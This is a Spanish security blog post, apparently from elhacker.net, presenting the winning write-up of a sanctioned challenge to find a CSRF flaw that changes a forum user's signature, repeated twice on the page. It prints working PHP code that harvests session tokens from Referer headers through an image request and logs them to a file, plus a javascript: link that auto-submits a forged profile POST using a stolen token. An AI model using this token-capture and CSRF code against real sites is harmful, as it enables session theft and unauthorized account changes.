Tutoriales y Manuales
Entradas Mensuales
-
►
2024
(Total:
1019
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
seguridad
(
395
)
privacidad
(
363
)
google
(
353
)
ransomware
(
338
)
vulnerabilidad
(
301
)
Malware
(
263
)
Windows
(
243
)
android
(
242
)
cve
(
235
)
tutorial
(
235
)
manual
(
220
)
software
(
201
)
hardware
(
193
)
linux
(
124
)
twitter
(
115
)
ddos
(
94
)
WhatsApp
(
90
)
Wifi
(
85
)
cifrado
(
77
)
herramientas
(
75
)
hacking
(
73
)
sysadmin
(
67
)
app
(
65
)
Networking
(
56
)
nvidia
(
52
)
ssd
(
51
)
youtube
(
50
)
adobe
(
43
)
firmware
(
42
)
office
(
41
)
hack
(
40
)
firefox
(
35
)
contraseñas
(
32
)
eventos
(
32
)
antivirus
(
31
)
juegos
(
31
)
cms
(
30
)
flash
(
28
)
anonymous
(
27
)
MAC
(
25
)
apache
(
25
)
programación
(
25
)
exploit
(
23
)
javascript
(
22
)
multimedia
(
22
)
Kernel
(
20
)
ssl
(
19
)
SeguridadWireless
(
17
)
documental
(
16
)
Forense
(
15
)
conferencia
(
15
)
Debugger
(
14
)
lizard squad
(
14
)
técnicas hacking
(
13
)
auditoría
(
12
)
delitos
(
11
)
metasploit
(
11
)
Virtualización
(
10
)
adamo
(
9
)
reversing
(
9
)
Rootkit
(
8
)
Ehn-Dev
(
7
)
MAC Adress
(
6
)
antimalware
(
6
)
oclHashcat
(
5
)
Entradas populares
-
Después de ver qué es una vCPU y la diferencia entre núcleos (cores) e hilos en los procesadores, pasamos a explicar toda la nomenclatura d...
-
En el panorama en constante evolución de la seguridad de redes, OpnSense se ha convertido en una formidable solución de firewall. Nacido de...
-
Pese a que Gemini ofrece multitudes de opciones, recientemente, se ha dado a conocer una situación fuera de lo común. Hace unos días, un es...
[Finalizado] Hackea a elhacker.net v2.0 (ganador: yoya) - Reto CSRF
miércoles, 29 de febrero de 2012
|
Publicado por
el-brujo
|
Editar entrada
Reto:
Tenemos que encontrar un CSRF que permita canbiar la firma de un usuario.
GANADOR: ~ Yoya ~ (yoyahack)
Puntos importantes
1 - El primer punto era obtener el token de sesion del usuario. Primero como el objetivo del reto es un CSRF, debemos comenzar a descartar un posible XSS para obtener el token. Simplemente porque si fuera necesario un XSS, el reto fuera mejor sobre XSS y no sobre CSRF.
Hace tiempo The X-C3LL publico un articulo llamado "Universal Hijacking by <img> (GET Method)", que dicho método fue utilizado para realizar una escala de privilegio en SMF 2.0. Por hay anda el exploit que publicaron The X-C3LL y Seth.
No profundo mucho en el tema, simplemente dicho método consiste en capturar el referer. El referer contiene la dirección del ultimo sitio visitado (incluyendo la ruta y todo, no simplemente el dominio).
Aquí el código que hice para capturar solo las url que contenían el id de sesión del token
index.php
1.2 - Hay que tener en cuenta que el token es una sesión de PHP, por lo tanto por defecto se elimina cuando el usuario cierra el navegador o si desde php directamente se generar otra sesión.
2 - Para cambiar la firma es necesario realizar una petición POST. Y como es un CSRF tenemos que usar algún "código" que se ejecute del lado del cliente (navegador). Asi que debemos tener en cuenta que con lenguajes que se ejecuten del lado del servidor como PHP, Perl, Python, Ruby, etc... No funcionaria y la unica forma en ese caso seria primero hacer un secuestro de sesion o tener el usuario y password del usuario y simular un navegador pero eso ya no seria un CSRF.
2.2 - Existe un filtro que cancela cualquier modificación hacia el perfil del usuario, si la petición proviene de un sitio remoto. El bug esta en que si la petición no viene de ningún sitio remoto, entonce es permitible editar el perfil, en este caso la firma del usuario "pollo".
3 - Ahora pasamos a realizar el exploit que cambiaría la firma del usuario.
Como ya podemos obtener el token, ahora para que el exploit funcione es necesario realizar una petición POST que no contenga ninguna referencia.
A mi se me ocurrió la idea de ejecutar un código javascript directamente desde el navegador, el problema esta en que ahora no todo los navegadores no permiten la ejecución de javascript desde la barra de direcciones. Pero al parecer al abrir directamente una ventana emergente, puedes ejecutar un codigo javascript directamente (probado en firefox y opera, aunque en opera puedes ejecutar un código javascript directamente desde la barra de dirección).
Ahora para que el exploit sea muy efectivo, este debe ser capaz de obtener la id de sesión del usuario y luego generar un código "malicioso" capaz de editar la firma del usuario.
f.php
Con esto simplemente, el usuario debe citar, modificar algun post. Así capturaríamos el token de sesión y luego el usuario debe ir al sitio donde se encuentra alojado el archivo f.php y hacer click en "Click aquí".
Con 2 pasos simplemente bastaria y a si que es muy efectivo el exploit.
Se podría mejorar de muchas maneras, incluso es posible saber de quien es cada token de sesión jejeje. Así desconectaríamos a alguien en especifico.
Saludos.
Segunda posición para P0is0n
¡Resolviendo Reto CSRF de elhacker.net!
Tenemos que encontrar un CSRF que permita canbiar la firma de un usuario.
GANADOR: ~ Yoya ~ (yoyahack)
Puntos importantes
- 1 - Obtener el token de sesión del usuario
- 1.2- El token es una sesión PHP
- 2 - Para realizar el cambio de firma, es necesario enviar el contenido vía POST
- 2.2 - Existe un filtro que cancela cualquier tipo de modificacion, si la petición proviene de un sitio remoto
- 3 - Hacer un exploit que sea lo mas efectivo y automatizado posible
1 - El primer punto era obtener el token de sesion del usuario. Primero como el objetivo del reto es un CSRF, debemos comenzar a descartar un posible XSS para obtener el token. Simplemente porque si fuera necesario un XSS, el reto fuera mejor sobre XSS y no sobre CSRF.
Hace tiempo The X-C3LL publico un articulo llamado "Universal Hijacking by <img> (GET Method)", que dicho método fue utilizado para realizar una escala de privilegio en SMF 2.0. Por hay anda el exploit que publicaron The X-C3LL y Seth.
No profundo mucho en el tema, simplemente dicho método consiste en capturar el referer. El referer contiene la dirección del ultimo sitio visitado (incluyendo la ruta y todo, no simplemente el dominio).
Aquí el código que hice para capturar solo las url que contenían el id de sesión del token
index.php
Código
<?php $http = apache_request_headers();//Contiene el contenido de la cabeseras.... //useragent, host, tipo de peticion, tipo de contenido, etc... if(preg_match('/sesc/',$http['Referer'])) {//Se ejecuta solo si en el referer, existe la palabra sesc $f = fopen('xd.txt',"a");//Abro el archivo xd.txt, para escribir en el... //El puntero se coloca al final del fichero fputs($f, $http['Referer']."<br>\n");//Escribo en el archivo xd.txt, la url del referer fclose($f);//Cierro el recurso... } //Esta parte esta de mas, no es necesario... Solo es para generar una img xD // Crear una imagen de 100*30 $im = imagecreate(100, 30); // Fondo blanco y texto azul $fondo = imagecolorallocate($im, 255, 255, 255); $color_texto = imagecolorallocate($im, 0, 0, 255); // Escribir la cadena en la parte superior izquierda imagestring($im, 5, 0, 0, 'Hola mundo', $color_texto); // Imprimir la imagen header('Content-type: image/png'); imagepng($im); imagedestroy($im); ?>
1.2 - Hay que tener en cuenta que el token es una sesión de PHP, por lo tanto por defecto se elimina cuando el usuario cierra el navegador o si desde php directamente se generar otra sesión.
2 - Para cambiar la firma es necesario realizar una petición POST. Y como es un CSRF tenemos que usar algún "código" que se ejecute del lado del cliente (navegador). Asi que debemos tener en cuenta que con lenguajes que se ejecuten del lado del servidor como PHP, Perl, Python, Ruby, etc... No funcionaria y la unica forma en ese caso seria primero hacer un secuestro de sesion o tener el usuario y password del usuario y simular un navegador pero eso ya no seria un CSRF.
2.2 - Existe un filtro que cancela cualquier modificación hacia el perfil del usuario, si la petición proviene de un sitio remoto. El bug esta en que si la petición no viene de ningún sitio remoto, entonce es permitible editar el perfil, en este caso la firma del usuario "pollo".
3 - Ahora pasamos a realizar el exploit que cambiaría la firma del usuario.
Como ya podemos obtener el token, ahora para que el exploit funcione es necesario realizar una petición POST que no contenga ninguna referencia.
A mi se me ocurrió la idea de ejecutar un código javascript directamente desde el navegador, el problema esta en que ahora no todo los navegadores no permiten la ejecución de javascript desde la barra de direcciones. Pero al parecer al abrir directamente una ventana emergente, puedes ejecutar un codigo javascript directamente (probado en firefox y opera, aunque en opera puedes ejecutar un código javascript directamente desde la barra de dirección).
Ahora para que el exploit sea muy efectivo, este debe ser capaz de obtener la id de sesión del usuario y luego generar un código "malicioso" capaz de editar la firma del usuario.
f.php
Código
<?php $secs = file_get_contents('xd.txt');//Capturo el contenido del archivo xd.txt //Este contiene el token de sesion de los usuarios preg_match('/sesc=(\w+)<br\>$/i', $secs, $result);//Capturo el ultimo token de sesion capturado ?> <A href="javascript:document.write('<form action=\'http://foro.elhacker.net/profile2.html\' method=\'post\' accept-charset=\'ISO-8859-1\' name=\'creator\' id=\'creator\' enctype=\'multipart/form-data\'> <input name=\'signature\' value=\'Ultra anti-0wneable! ??? - Hacked by Yoyahack!!!!!\'> <input name=\'sc\' value=\'<?php echo $result[1]; ?>\'> <input name=\'userID\' value=\'322090\'> <input name=\'sa\' value=\'forumProfile\'><input type=\'submit\'></form><script>document.creator.submit()</script>');" target="_blank" onClick="window.open(this.href, this.target, 'width=700,height=400,location=0',true); return false;">Click aquí</A>
Con esto simplemente, el usuario debe citar, modificar algun post. Así capturaríamos el token de sesión y luego el usuario debe ir al sitio donde se encuentra alojado el archivo f.php y hacer click en "Click aquí".
Con 2 pasos simplemente bastaria y a si que es muy efectivo el exploit.
Se podría mejorar de muchas maneras, incluso es posible saber de quien es cada token de sesión jejeje. Así desconectaríamos a alguien en especifico.
Saludos.
Segunda posición para P0is0n
¡Resolviendo Reto CSRF de elhacker.net!
Enviar por correo electrónico
Escribe un blog
Compartir en X
Compartir con Facebook
Compartir en Pinterest